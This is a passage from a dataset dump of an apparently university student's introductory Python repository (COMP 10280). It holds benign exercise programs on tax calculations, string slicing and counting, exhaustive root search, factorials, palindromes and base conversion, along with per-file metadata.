"text": "#manual inputs\r\namount = float(100)#making sure the variable is a floating point figure and compatible with Python2\r\namount_A_pct = float(6) / float(10)#making sure the variable is a floating point figure and compatible with Python2\r\ntax_A_pct = float(135) / float(1000)#making sure the variable is a floating point figure and compatible with Python2\r\ntax_B_pct = float(23) / float(100)#making sure the variable is a floating point figure and compatible with Python2\r\n\r\n#calculated inputs\r\namount_A = amount * amount_A_pct\r\namount_B = (amount - amount_A)\r\namount_A_tax = amount_A * tax_A_pct\r\namount_B_tax = amount_B * tax_B_pct\r\n\r\n#calculation\r\ntotal = amount_A + amount_A_tax + amount_B + amount_B_tax\r\n\r\n#output\r\nprint(\"A pre-tax cost of \" + str(amount) + \" results in an after tax total of \" + str(total))" }, { "alpha_fraction": 0.5925925970077515, "alphanum_fraction": 0.6064814925193787, "avg_line_length": 41.400001525878906, "blob_id": "0902fbd5b250bf3a3de1e41e7ecd26d21913169e", "content_id": "92e63114d1f343f25239d9dd6d8f1eb9ff0cfd11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 432, "license_type": "no_license", "max_line_length": 93, "num_lines": 10, "path": "/p2p5 - v2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "animals = 'herd of elephants'# randomly chosen string\r\nlen_animals = len(animals)#length of the randomly chosen string\r\nrange_animals = range(0, len_animals +1)\r\n\r\nfor x in range_animals:\r\n for y in range_animals:\r\n if not list(animals[x:y:1]):\r\n print(\"animals[x:y:1] for x = \" + str(x) + \" and y = \" + str(y) + \" is empty\")\r\n else:\r\n print(\"animals[x:y:1] for x = \" + str(x) + \" and y = \" + str(y) + \" is \" + animals[x:y:1])" }, { "alpha_fraction": 0.7075209021568298, "alphanum_fraction": 0.7103064060211182, "avg_line_length": 16.14285659790039, "blob_id": "7e52bd4e65afb2eec143b049a0118f9d44a9a311", "content_id": "ed5fa9827eb4568cbaa851cce633e135a694bf11", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 359, "license_type": "no_license", "max_line_length": 57, "num_lines": 21, "path": "/p18p5.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\n\ntake user input\n\ncount each occurance of \"xyz\"\ncount each occurance of \".xyz\"\ntake the difference\n\nprint the results\n\"\"\"\n\nstringInput = input(\"Please enter what you would like: \")\n\ndef xyzCheck(s):\n\txyzCount= 0\n\txyzCount += s.count(\"xyz\")\n\txyzCount -= s.count(\".xyz\")\n\treturn xyzCount\n\nprint(\"There are \", xyzCheck(stringInput), \"occurances.\")" }, { "alpha_fraction": 0.6517482399940491, "alphanum_fraction": 0.6783216595649719, "avg_line_length": 19.727272033691406, "blob_id": "96f460916ddccf473e796d18a15235f35da66587", "content_id": "93c35e50473bb9418f326a403992f58a3bcdac37", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 715, "license_type": "no_license", "max_line_length": 103, "num_lines": 33, "path": "/p6p1_submit.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQUESTION\r\n\r\nWrite a program that prompts the user for two numbers.\r\nIf the sum of the numbers is greater than 100, print \"That is a big number!\" and terminate the program.\r\n\"\"\"\r\n\r\n\r\n\"\"\"\r\nPSEUDOCODE\r\n\r\nEnter number 1\r\nEnter number 2\r\nAdd number 1 and number 2\r\nif 100 is less than the sum, print the message\r\notherwise, do nothing\r\n\"\"\"\r\n\r\n#user inputs\r\nwhile True:\r\n try:\r\n num1 = float(input(\"Enter a value for number 1: \"))\r\n num2 = float(input(\"Enter a value for number 2: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter appropriate values. Please restart the program if you want to try again.\")\r\n break\r\n\r\n#algorithm\r\nif (100 < (num1 + num2)):\r\n print(\"That's a big number!\")\r\nelse:\r\n pass" }, { "alpha_fraction": 0.6566314101219177, "alphanum_fraction": 0.6720911264419556, "avg_line_length": 49.29166793823242, "blob_id": "0ba2e9a632f35378c647c6c5a80ee1b8a6545787", "content_id": "0c3b3740b4921ce983fe318fb148a201daa6cb72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1229, "license_type": "no_license", "max_line_length": 157, "num_lines": 24, "path": "/p4-5p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#manual inputs\r\namount = float(input(\"Enter the initial amount here: \"))\r\n\r\nif amount < 0:\r\n print(\"Amount must be >= 0. Please try again.\")\r\nelse:\r\n #manual inputs\r\n amount_larger_pct = float(6) / float(10)\r\n tax_larger_pct = float(23) / float(100)\r\n tax_smaller_pct = float(41) / float(100)\r\n #calculated inputs\r\n amount_larger = amount * amount_larger_pct\r\n amount_smaller = (amount - amount_larger)\r\n amount_larger_tax = amount_larger * tax_larger_pct\r\n amount_smaller_tax = amount_smaller * tax_smaller_pct\r\n #calculation\r\n total = amount_larger + amount_larger_tax + amount_smaller + amount_smaller_tax\r\n #output\r\n print(\"Initial Amount: \" + str(amount))\r\n print(\"60% of \" + str(amount) + \" is \" + str(amount_larger) + \", resulting in tax of \" + str(amount_larger_tax) + \" at a rate of \" + str(tax_larger_pct))\r\n print(\"40% of \" + str(amount) + \" is \" + str(amount_smaller) + \", resulting in tax of \" + str(amount_smaller_tax) + \" at a rate of \" + str(tax_smaller_pct))\r\n print(\"The total tax is \" + str(amount_larger_tax + amount_smaller_tax))\r\n print(\"The total amount is \" + str(amount + amount_larger_tax + amount_smaller_tax))\r\n print(\"The income less taxes is \" + str(amount - amount_larger_tax - amount_smaller_tax))" }, { "alpha_fraction": 0.7585033774375916, "alphanum_fraction": 0.7585033774375916, "avg_line_length": 16.352941513061523, "blob_id": "61f2a436109cbd6036be6e58b9415e705e4812b6", "content_id": "94cc4d9a9826c8936403f0f729a40b52bb2ae5b5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 294, "license_type": "no_license", "max_line_length": 57, "num_lines": 17, "path": "/p18p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\n\nRequest user input\n\ndefine the case senitive string I want to count\n\ncount the number of occurances of the string in the input\n\n\"\"\"\n\nstringInput = input(\"Please enter what you would like: \")\n\ndef stringInputCount(s):\n\treturn s.count(\"code\")\n\nprint(stringInputCount(stringInput))" }, { "alpha_fraction": 0.47516557574272156, "alphanum_fraction": 0.48509934544563293, "avg_line_length": 38.29999923706055, "blob_id": "60c055713b785313480e8e30487177be3ac14c58", "content_id": "d96e4810de94805034d9bd72796f97a262dc0e89", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2416, "license_type": "no_license", "max_line_length": 177, "num_lines": 60, "path": "/p10p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\"\r\nWrite a program that prompts the user for a series of integers and, for each of the numbers entered, performs exhaustive enumeration to find the integer cube root of the number.\r\nIf the number is not a perfect cube, the program should print out a message to that effect.\r\nNote that the program should work for negative numbers as well as positive numbers.\r\nThe program should exit when a 0 is entered.\r\nSave this program as p10p2.py.\r\n\r\nPseudocode\r\nuser enters num (make sure is integer)\r\nif num = 0:\r\n exit program with message\r\nelse:\r\n if num > 0:\r\n starting with n = 0, check if num = n^3:\r\n if yes:\r\n print result\r\n start program again\r\n if no:\r\n check n += 1 until n = num\r\n if the above results in nothing, print the number is not a perfect cube\r\n start program again\r\n if num < 0:\r\n starting with n = 0, check if num = n^3:\r\n if yes:\r\n print result\r\n start program again\r\n if no:\r\n check n -= 1 until n = num\r\n if the above results in nothing, print the number is not a perfect cube\r\n start program again\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n num = int(input(\"Enter an integer, please (it should be small; we must use an exhaustive method): \"))\r\n count = 0\r\n if num < 0:\r\n while num <= count**3:\r\n if num != count**3:\r\n count -= 1\r\n else:\r\n print(str(num) + \" = \" + str(count) + \"^3\")\r\n break\r\n else:\r\n print(str(num) + \" is not a perfect cube.\")\r\n elif num > 0:\r\n while count**3 <= num:\r\n if num != count**3:\r\n count += 1\r\n else:\r\n print(str(num) + \" = \" + str(count) + \"^3\")\r\n break\r\n else:\r\n print(str(num) + \" is not a perfect cube.\")\r\n else:\r\n print(\"You entered zero so the program has exited.\")\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break" }, { "alpha_fraction": 0.6334841847419739, "alphanum_fraction": 0.6380090713500977, "avg_line_length": 22.77777862548828, "blob_id": "5f9ad723a7025d65fc2f580f3842f8093caa392e", "content_id": "e063f11a0618ac295a08a04195255aaba2cafae3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 221, "license_type": "no_license", "max_line_length": 58, "num_lines": 9, "path": "/p5p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "while True:\r\n try:\r\n int_val = int(input(\"Enter an integer value: \")) \r\n break\r\n except ValueError:\r\n print(\"You did not enter an integer; please try again.\")\r\n\r\nif int_val < 0:\r\n print(str(int_val) + \" is negative.\")" }, { "alpha_fraction": 0.6259946823120117, "alphanum_fraction": 0.6538461446762085, "avg_line_length": 17.384614944458008, "blob_id": "6f1780ff11ba3d56637d228b05f2eb7c8dd08760", "content_id": "e96d34ab8c187c4212d5b06867e4c13db74cab18", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 754, "license_type": "no_license", "max_line_length": 103, "num_lines": 39, "path": "/p6p1_sensible.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQUESTION\r\nWrite a program that prompts the user for two numbers.\r\nIf the sum of the numbers is greater than 100, print \"That is a big number!\" and terminate the program.\r\n\"\"\"\r\n\r\n\r\n\"\"\"\r\nPSEUDOCODE\r\n\r\nnum1 = x\r\nnum2 = y\r\nnum_sum = num1 + num2\r\nbound = 100\r\n\r\nif (bound < num12):\r\n print(\"That is a big number!\")\r\nelse:\r\n do nothing\r\n\"\"\"\r\n\r\n#user inputs\r\nwhile True:\r\n try:\r\n num1 = float(input(\"Enter a value for number 1: \"))\r\n num2 = float(input(\"Enter a value for number 2: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter appropriate values. Please restart the program if you want to try again.\")\r\n break\r\n\r\n#calculated inputs\r\nnum_sum = num1 + num2\r\n\r\n#algorithm\r\nif (100 < num_sum):\r\n print(\"That's a big number!\")\r\nelse:\r\n pass" }, { "alpha_fraction": 0.694622278213501, "alphanum_fraction": 0.7074263691902161, "avg_line_length": 32.9782600402832, "blob_id": "2c93d4f8099fbc28ff94f5b941ac5fbedcdb160b", "content_id": "9add491ee68a64234f47af22a841256719f11293", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1562, "license_type": "no_license", "max_line_length": 154, "num_lines": 46, "path": "/p19p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\n\nuse each digit in the input number as a weight to multiply an appropriate power of the given base\nlest significant digit has power of 0, with each power incrementing by one\n\"\"\"\n\nimport sys\n\ndef toBaseTen(n, b):\n\tbaseTen = 0\n\tcount = 0\n\tfor i in reversed(n): #use of reversed OK by Khalil on 23 Nov 2016\n\t\tbaseTen += int(i) * (int(b) ** count)\n\t\tcount += 1\n\treturn baseTen\n\nwhile True:\n\ttry:\n\t\t#base 10 input\n\t\tnumInput = input(\"Please enter a digits representing some number in a given base (or q to exit): \")\n\t\tif numInput == \"q\":\n\t\t\tprint(\"Goodbye!\")\n\t\t\tsys.exit()\n\t\telif int(numInput) < 0:\n\t\t\tprint(\"You did not enter a positive integer.\")\n\t\telse:\n\t\t\tnumInput = numInput\n\t\t\n\t\t#new base input\n\t\ttheBase = input(\"Please enter a positive integer greater than 1 as the base of the number just entered (or q to exit): \")\n\t\tif theBase == \"q\":\n\t\t\tprint(\"Goodbye!\")\n\t\t\tsys.exit()\n\t\telif int(theBase) < 1:\n\t\t\tprint(\"You did not enter a positive integer greater than 1.\")\n\t\telse:\n\t\t\ttheBase = theBase\n\t\t\n\t\t#function\n\t\tprint(toBaseTen(numInput, theBase))\n\t\tprint(\"Note: I was told the only inputs would be integers e.g. no f6 for a hexidecimal number or g7 for a base 17 number.\")\n\t\tprint(\"Note: Professor Dunnion confirmed that we are not being asked to also create a procedure for generating a numeral system for an arbitrary base.\")\n\t\tprint(\"Note: this limits what can be entered, but this program would work if we had been expected to produce a more general input system.\")\n\texcept ValueError:\n\t\tprint(\"Please reread the instructions and try again.\")" }, { "alpha_fraction": 0.46714285016059875, "alphanum_fraction": 0.5414285659790039, "avg_line_length": 28.521739959716797, "blob_id": "3001d307205d1076789a945fe42264d66f6705af", "content_id": "331e2b188d11cd5a7b7eda91ab7471ab1ee55c22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 700, "license_type": "no_license", "max_line_length": 58, "num_lines": 23, "path": "/p5p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "while True:\r\n try:\r\n int_val = int(input(\"Enter an integer value: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter an integer; please try again.\")\r\n\r\nif int_val < 0:\r\n print(str(int_val) + \" < 0.\")\r\nelif int_val == 0:\r\n print(str(int_val) + \" == 0.\")\r\nelif int_val in range(0, 21, 1):\r\n print(\"0 <= \" + str(int_val) + \" <= 20.\")\r\nelif int_val in range(21, 41, 1):\r\n print(\"20 < \" + str(int_val) + \" <= 40.\")\r\nelif int_val in range(41, 61, 1):\r\n print(\"40 < \" + str(int_val) + \" <= 60.\")\r\nelif int_val in range(61, 81, 1):\r\n print(\"60 < \" + str(int_val) + \" <= 80.\")\r\nelif int_val in range(81, 101, 1):\r\n print(\"80 < \" + str(int_val) + \" <= 100.\")\r\nelse:\r\n print(str(int_val) + \" > 100\")" }, { "alpha_fraction": 0.6428571343421936, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 31.33333396911621, "blob_id": "516c4f0696cba1138f2fd2a5515330842becb7f5", "content_id": "90f0ee20d2e560500a9bae402d6abdf95286bad3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 98, "license_type": "no_license", "max_line_length": 47, "num_lines": 3, "path": "/p2p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#this program prints the phrase \"Hello, world.\"\r\noutput = \"Hello,\" + \" \" + \"world.\"\r\nprint(output)" }, { "alpha_fraction": 0.6463414430618286, "alphanum_fraction": 0.8292682766914368, "avg_line_length": 26.33333396911621, "blob_id": "306bac06c967fba8e414f4bd1cdf53d74c1c47b9", "content_id": "3d86d72f30b26f47dbb8cff4b446a89b3ae218ec", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 82, "license_type": "no_license", "max_line_length": 44, "num_lines": 3, "path": "/README.md", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "# comp10280\nCOMP 10280 Programming I\nThis includes items COMP 10280 Programming I\n" }, { "alpha_fraction": 0.699999988079071, "alphanum_fraction": 0.7060975432395935, "avg_line_length": 26.366666793823242, "blob_id": "582d62be4821d862af7252311965d55261bb66a9", "content_id": "44afb50e6422708ba742f952f4ec8625156c2e90", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 820, "license_type": "no_license", "max_line_length": 163, "num_lines": 30, "path": "/p17p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode for this is in the slides we were told to take it from.\n\nNote: this is directly transcribed, so any pecadillos for the algorithm are not a fault, but part of what I was asked to do.\n\"\"\"\n\n#from the slides\ndef makeLowerChar(s):\n\toutput = \"\"\n\ts = s.lower()\n\tfor c in s:\n\t\tif c in \"abcdefghijklmnopqrstuvwxyz\":\n\t\t\toutput += c\n\t\telse:\n\t\t\tpass\n\treturn output\n\n#also from slides\ndef isPal(s):\n\tif len(s) <= 0:\n\t\treturn True\n\telse:\n\t\treturn s[0] == s[-1] and isPal(s[1:-1])\n\nstringInput = input(\"Please enter a string: \")\nif isPal(makeLowerChar(stringInput)):\n\tprint(stringInput, \"is a palindrome.\")\nelse:\n\tprint(stringInput, \"is not a palindrome.\")\nprint(\"Note: this is directly transcribed from the slides, so any peculiarities or failings of the algorithm are not a fault, but part of what I was asked to do.\")" }, { "alpha_fraction": 0.725083589553833, "alphanum_fraction": 0.7324414849281311, "avg_line_length": 28.920000076293945, "blob_id": "fab2b2b0549eef4515e170b248d816a9e4c65621", "content_id": "409a9d774d6806e5b3a217ebc50ff449795ce30e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1495, "license_type": "no_license", "max_line_length": 239, "num_lines": 50, "path": "/p13p6.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\n(a) Write a recursive function that takes as its single argument a non-negative integer and returns the factorial of the number.\n(b) Write a program that prompts the user for an integer and checks that the number entered is non-negative. If it is, it calls the function defined in part (a) and prints out the result; if not, it prints out an appropriate error message.\n(c) In your function, include some print statements that allow you to see the operation of the recursion and its progress towards the base case.\nSave this program as p13p6.py.\n\nPseudocode\nrecursively define fac(n)\nfac(n):\nif n == 0:\n\treturn 1\nelse:\n\treturn n * fac(n - 1)\n\nuser enters apprpriate non-neg int; otherwise exit program with message\n\nprinted commentary on the function has been included\n\n\"\"\"\n\nimport sys\n\ndef factorial(n):\n\t\"\"\"\n\tRecursively defined factorial\n\n\tAssumptions\n\t- n is a non-negative integer\n\t\"\"\"\n\tif n == 0:\n\t\tprint(str(n) + \"! = 1 \"+ \" is the last multiplicand\")#print requirement for (c)\n\t\treturn 1\n\telse:\n\t\tprint(str(n) + \" is a multiplicand\")#print requirement for (c)\n\t\treturn n * factorial(n - 1)\n\n#prompt user for the number\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Enter a non-negative integer value: \"))\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter a non-negative integer value if you wish to continue.\")\n\t\tsys.exit()\n\n#run the program\nif num < 0:\n\tprint(\"Restart the program and enter a non-negative integer value if you wish to continue.\")\nelse:\n\tprint(factorial(num))" }, { "alpha_fraction": 0.4864181876182556, "alphanum_fraction": 0.5047378540039062, "avg_line_length": 36.65853500366211, "blob_id": "bf303addf0783950242e6b7420bff89f910f17b5", "content_id": "6f7ab9e913b06074e829cf4efbc1988c6bd27ba4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1583, "license_type": "no_license", "max_line_length": 140, "num_lines": 41, "path": "/p8p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nQuestion\r\nWrite a program that uses a while loop to prompt the user for a series of numbers and check whether each number is divisble by 2, 3, 5 or 7.\r\nExecution of the program continues until a negative number is entered.\r\nSave this program as p8p1.py.\r\n\r\nPseudocode\r\nwhile int is not negative:\r\n check if divisible by 2, 3, 5, 7 and let the user know\r\nlet user know the proces has stopped because a negative number is entered\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n num = 1\r\n while num > -1:\r\n num = int(input(\"Enter an integer: \"))\r\n if num < 0:\r\n break\r\n if num % 2 == 0:\r\n print(str(num) + \" is divisible by 2\")\r\n else:\r\n print(str(num) + \" is not divisibley by 2\")\r\n if num % 3 == 0:\r\n print(str(num) + \" is divisible by 3\")\r\n else:\r\n print(str(num) + \" is not divisibley by 3\")\r\n if num % 5 == 0:\r\n print(str(num) + \" is divisible by 5\")\r\n else:\r\n print(str(num) + \" is not divisibley by 5\")\r\n if num % 7 == 0:\r\n print(str(num) + \" is divisible by 7\")\r\n else:\r\n print(str(num) + \" is not divisibley by 7\")\r\n print(\"\")#buffer\r\n break\r\n except ValueError:\r\n print(\"You did not enter an integer. Please try entering an integer again.\")\r\n\r\nprint(\"The process has stopped because a negative integer was entered.\")" }, { "alpha_fraction": 0.6393643021583557, "alphanum_fraction": 0.6466992497444153, "avg_line_length": 35.272727966308594, "blob_id": "31c5de0d0acedae988fc799107b3d9b5d5692081", "content_id": "3261d121061fee46a7acd5492fb66138b43f75e0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 818, "license_type": "no_license", "max_line_length": 125, "num_lines": 22, "path": "/p4p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "import math\r\n\r\n#manual inputs\r\nlength = float(input(\"Enter the length of the side: \"))\r\n\r\n#calculations\r\narea_square = length ** 2\r\n\r\nvolume_cube = length ** 3\r\n\r\narea_circle = math.pi * (length ** 2)\r\n\r\nvolume_sphere = float(4 / 3) * (float(math.pi) * (length ** 3))\r\n\r\nvolume_cylinder = area_circle * length\r\n\r\n#outputs\r\nprint(\"The area of the square with side length \" + str(length) + \" is \" + str(area_square))\r\nprint(\"The volume of the cube is with side length \" + str(length) + \" is \" + str(volume_cube))\r\nprint(\"The area of the circle with radius \" + str(length) + \" is \" + str(area_circle))\r\nprint(\"The volume of the sphere with radius \" + str(length) + \" is \" + str(volume_sphere))\r\nprint(\"The volume of the cylinder with radius \" + str(length) + \" and length \" + str(length) + \" is \" + str(volume_cylinder))" }, { "alpha_fraction": 0.4875366687774658, "alphanum_fraction": 0.4963343143463135, "avg_line_length": 35.94444274902344, "blob_id": "4efd704f60600ece27a3d245ba2f39c3f7c88866", "content_id": "e7fa570ae12b2c2e28e6a4f7f60f162f7abe1ff0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1364, "license_type": "no_license", "max_line_length": 161, "num_lines": 36, "path": "/p9p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for a series of integers and, for each of the numbers entered, uses a while loop to calculate the factorial of that number.\r\nThe program should stop when a negative number is entered.\r\n\r\nPseudocode\r\nuser enters num (make sure is integer)\r\nif num < 0:\r\n let user know to enter a positive number next time\r\nelse:\r\n if n = 0:\r\n return 1\r\n else:\r\n return n*factorial(n-1)\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n num = int(input(\"Enter a positive integer value, please (enter a negative number to exit the program): \"))\r\n if num < 0:\r\n print(\"You entered a negative integer and have exited the program\")\r\n break\r\n else:\r\n while num > -1:\r\n fac = 1\r\n if num == 0 or num == 1:\r\n print(str(num) + \"! = \" + str(fac))\r\n else:\r\n mult = 1\r\n while mult < num + 1:#REQUESTED WHILE LOOP\r\n fac *= mult\r\n mult += 1\r\n print(str(num) + \"! = \" + str(fac))\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break" }, { "alpha_fraction": 0.5591647624969482, "alphanum_fraction": 0.5672853589057922, "avg_line_length": 40.09756088256836, "blob_id": "c3fbf1049400a5f690bc06231928d407b8023170", "content_id": "9f85a305498e008a054f02d924dcce88b4605710", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1724, "license_type": "no_license", "max_line_length": 173, "num_lines": 41, "path": "/p10p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for an integer and performs exhaustive enumeration to find the integer square root of the number.\r\nBy \"exhaustive enumeration\", we mean that we start at 0 and succcessively go through the integers, checking whether the square of the integer is equal to the number entered.\r\nIf the number is not a perfect square, the program should print out a message to that effect.\r\nThe program should exit when a negative number is entered.\r\nSave this program as p10p1.py.\r\n\r\nPseudocode\r\nuser enters num (make sure is integer)\r\nif num < 0:\r\n exit program with message\r\nelse:\r\n starting with n = 0, check if num = n^2:\r\n if yes:\r\n print result\r\n start program again\r\n if no:\r\n check n += 1 until n = num\r\n if the above results in numthing, print the number is not a perfect square\r\n start program again\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n num = int(input(\"Enter an integer, please (it should be small; we must use an exhaustive method): \"))\r\n if num > -1:\r\n count = 0\r\n while count**2 <= num:\r\n if num != count**2:\r\n count += 1\r\n else:\r\n print(str(num) + \" = \" + str(count) + \"^2\")\r\n break\r\n else:\r\n print(str(num) + \" is not a perfect square.\")\r\n else:\r\n print(\"You entered a negative integer so the program has exited.\")\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break" }, { "alpha_fraction": 0.703180193901062, "alphanum_fraction": 0.7131919860839844, "avg_line_length": 31.673076629638672, "blob_id": "9cf02d97a6b0048f5a5fde9182b5076f57e15d73", "content_id": "4fc4b65e095238074ba921f191e5d727b7c3fd45", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1698, "license_type": "no_license", "max_line_length": 182, "num_lines": 52, "path": "/p17p5.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode for the actual code is in the slides we were told to take it from; see p17p5.py for a focus on using Professor Dunnion's algorithm\n\nNote: this is directly transcribed, so any pecadillos for the algorithm are not a fault, but part of what I was asked to do.\n\"\"\"\n\n#from the slides\ndef makeLowerChar(s):\n\toutput = \"\"\n\ts = s.lower()\n\tfor c in s:\n\t\tif c in \"abcdefghijklmnopqrstuvwxyz\":\n\t\t\toutput += c\n\t\telse:\n\t\t\tpass\n\treturn output\n\n#also from slides\ndef isPal(s):\n\tif len(s) <= 0:\n\t\treturn True\n\telse:\n\t\treturn s[0] == s[-1] and isPal(s[1:-1])\n\nstringInput = input(\"Please enter a string: \")\nprint(\"\")\nprint(\"first we decompose\", stringInput, \"into only the lowercase letter elements, which is\", makeLowerChar(stringInput))\nprint(\"\")\nprint(\"then we start comparing the outermost pairs of letters, seeing if they match; if they all do, then we have a palindrome.\")\nprint(\"\")\n\n#print through the outermost layers of the modified string, mimicing the recursive steps\nrangeObject = makeLowerChar(stringInput)\nrangeLength = len(rangeObject)\nif rangeLength == 0 or rangeLength == 1:\n\tprint(\"Any string of length zero or one is a palindrome.\")\nelse:\n\tfor i in range(0, (rangeLength // 2) + 1, 1):\n\t\tif rangeObject[i] == rangeObject[-i - 1]:\n\t\t\tprint(rangeObject[i], \"=\", rangeObject[-i - 1])\n\t\telse:\n\t\t\tprint(rangeObject[i], \"!=\", rangeObject[-i - 1])\n\t\t\tbreak\n\nprint(\"\")\nif isPal(makeLowerChar(stringInput)):\n\tprint(stringInput, \"is a palindrome.\")\nelse:\n\tprint(stringInput, \"is not a palindrome.\")\n\nprint(\"\")\nprint(\"Note: the underlying algorith is directly transcribed from the slides, so any peculiarities or failings of the algorithm are not a fault, but part of what I was asked to do.\")" }, { "alpha_fraction": 0.4863738417625427, "alphanum_fraction": 0.545687735080719, "avg_line_length": 40.17567443847656, "blob_id": "8dbebca9f443fefedd0ebb35d91167cfe04df019", "content_id": "a2ef0228ed8fdce25f9d1fe2bf79264e053f99e8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3133, "license_type": "no_license", "max_line_length": 147, "num_lines": 74, "path": "/p8p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that uses a while loop to prompt the user for a series of integers and check whether each number is in one of the specified ranges:\r\n• Number is equal to 0\r\n• Number is greater than 0 and less than or equal to 20\r\n• Number is greater than 20 and less than or equal to 40\r\n• Number is greater than 40 and less than or equal to 60\r\n• Number is greater than 60 and less than or equal to 80\r\n• Number is greater than 80 and less than or equal to 100\r\n• Number is greater than 100\r\nThe program should also count the number of numbers in each range.\r\nThe program should continue until the user enters a number that is less than 0.\r\nBefore finishing, the program should print out the analysis of the input, ie the number of numbers in each range.\r\n\r\nPseudocode\r\nwhile (num = user input number) positive integer:\r\n see which range it fall into and record that membership with a count\r\nonce negative number is entered:\r\n print counts for each range\r\n print announcement of what has happened\r\n\"\"\"\r\n#range counters\r\nrange_0_count = 0\r\nrange_1_20_count = 0\r\nrange_21_40_count = 0\r\nrange_41_60_count = 0\r\nrange_61_80_count = 0\r\nrange_81_100_count = 0\r\nrange_100_count = 0\r\n\r\nwhile True:\r\n try:\r\n num = 1\r\n while num > -1:\r\n num = int(input(\"Enter an integer value, please (if you want to exit and see the summary, enter a negative integer): \"))\r\n if num == 0:\r\n range_0_count += 1\r\n print(str(num) + \" = 0\")\r\n elif 0 < num <= 20:\r\n range_1_20_count += 1\r\n print(\"0 < \" + str(num) + \" <= 20\")\r\n elif 20 < num <= 40:\r\n range_21_40_count += 1\r\n print(\"20 < \" + str(num) + \" <= 40\")\r\n elif 40 < num <= 60:\r\n range_41_60_count += 1\r\n print(\"40 < \" + str(num) + \" <= 60\")\r\n elif 60 < num <= 80:\r\n range_61_80_count += 1\r\n print(\"60 < \" + str(num) + \" <= 80\")\r\n elif 80 < num <= 100:\r\n range_81_100_count += 1\r\n print(\"80 < \" + str(num) + \" <= 100\")\r\n elif 100 < num:\r\n range_100_count += 1\r\n print(\"100 < \" + str(num))\r\n else:\r\n pass\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break\r\n#summary report\r\nprint(\"\")#buffer\r\nprint(\"\")#buffer\r\nprint(\"This is the summary of your entries\")\r\nprint(\"x = 0: \" + str(range_0_count) + \" entries.\")\r\nprint(\"0 < x <= 20: \" + str(range_1_20_count) + \" entries.\")\r\nprint(\"20 < x <= 40: \" + str(range_21_40_count) + \" entries.\")\r\nprint(\"40 < x <= 60: \" + str(range_41_60_count) + \" 